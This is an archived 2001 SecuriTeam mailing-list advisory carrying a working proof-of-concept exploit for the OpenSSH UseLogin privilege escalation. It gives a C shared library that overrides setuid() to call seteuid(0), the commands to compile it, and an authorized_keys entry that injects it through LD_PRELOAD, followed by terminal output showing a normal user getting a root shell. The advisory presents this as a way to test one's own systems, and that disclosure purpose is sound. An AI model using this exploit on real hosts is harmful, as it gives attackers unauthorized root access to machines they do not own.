[EXPL] OpenSSH UseLogin Bug Proof of Concept Exploit

From: support@securiteam.com
Date: 12/18/01


From: support@securiteam.com
To: list@securiteam.com
Date: Tue, 18 Dec 2001 08:14:44 +0100 (CET)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -

  OpenSSH UseLogin Bug Proof of Concept Exploit
------------------------------------------------------------------------

SUMMARY

In our previous article:
<http://www.securiteam.com/unixfocus/6K00J0U3FI.html> OpenSSH UseLogin
Directive Vulnerability Leads to Remote Root Compromise, we discussed a
security vulnerability in OpenSSH that would allow a local attacker to
gain elevated privileges. The following is an exploit code that would
allow you to test your system for the mentioned vulnerability.

DETAILS

Exploit:
Create a lib.c file with the next content:

 ---8<---
 #include <stdio.h>
 int setuid(int uid){
   printf("setuid() called...\n");
   seteuid(0);
 }
 ---8<---

Compile it into a library:
$ gcc -c -o lib.o lib.c
$ ld -shared -o libroot.so lib.o
$ chmod 755 ./libroot.so

Now, for the tricky part:

You must have an account on the machine, and create an entry on
$HOME/.ssh/authorized_keys (or authorized_keys2) with:
 environment="LD_PRELOAD=<your home>/libroot.so" <your public key>

When SSH receives your connection, it will export this variable into the
environment before running login. Somewhere after this, it executes a
setuid. When it does, it makes a seteuid(0).

 $ id
 uid=1000(war) gid=100(users) groups=100(users)
 $ ssh war@localhost
 Enter passphrase for key '/home/war/.ssh/id_dsa':
 sh-2.04# id
 uid=0(root) gid=100(users) groups=100(users)

This also works remotely. Anyway, you must have an account on the victim
machine so you can setup the enviroment, and login. Obviously, it must
have UseLogin enabled.

ADDITIONAL INFORMATION

The information has been provided by <mailto:war@genhex.org> [WaR].

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • SecurityFocus Microsoft Newsletter #165
    ... Tenable Security ... distribute, manage, and communicate vulnerability and intrusion detection ... Microsoft Internet Explorer MHTML Forced File Execution Vuln... ...
    (Focus-Microsoft)
  • SecurityFocus Microsoft Newsletter #174
    ... This issue sponsored by: Tenable Network Security ... the worlds only 100% passive vulnerability ... MICROSOFT VULNERABILITY SUMMARY ... Novell Netware Enterprise Web Server Multiple Vulnerabilitie... ...
    (Focus-Microsoft)
  • [NT] Cumulative Security Update for Internet Explorer (MS04-038)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Get your security news from a reliable source. ... CSS Heap Memory Corruption Vulnerability, ... Microsoft Windows NT Server 4.0 Terminal Server Edition Service Pack 6 ...
    (Securiteam)
  • SecurityFocus Microsoft Newsletter #171
    ... Better Management for Network Security ... GoodTech Telnet Server Remote Denial Of Service Vulnerabilit... ... ASPApp PortalAPP Remote User Database Access Vulnerability ...
    (Focus-Microsoft)
  • SSRT3509 Potential Security Vulnerability in CIFS/9000 Server
    ... SSRT3509 Potential Security Vulnerability in CIFS/9000 Server ... Bulletin provided that it remains complete and intact. ...
    (comp.security.misc)

Quantcast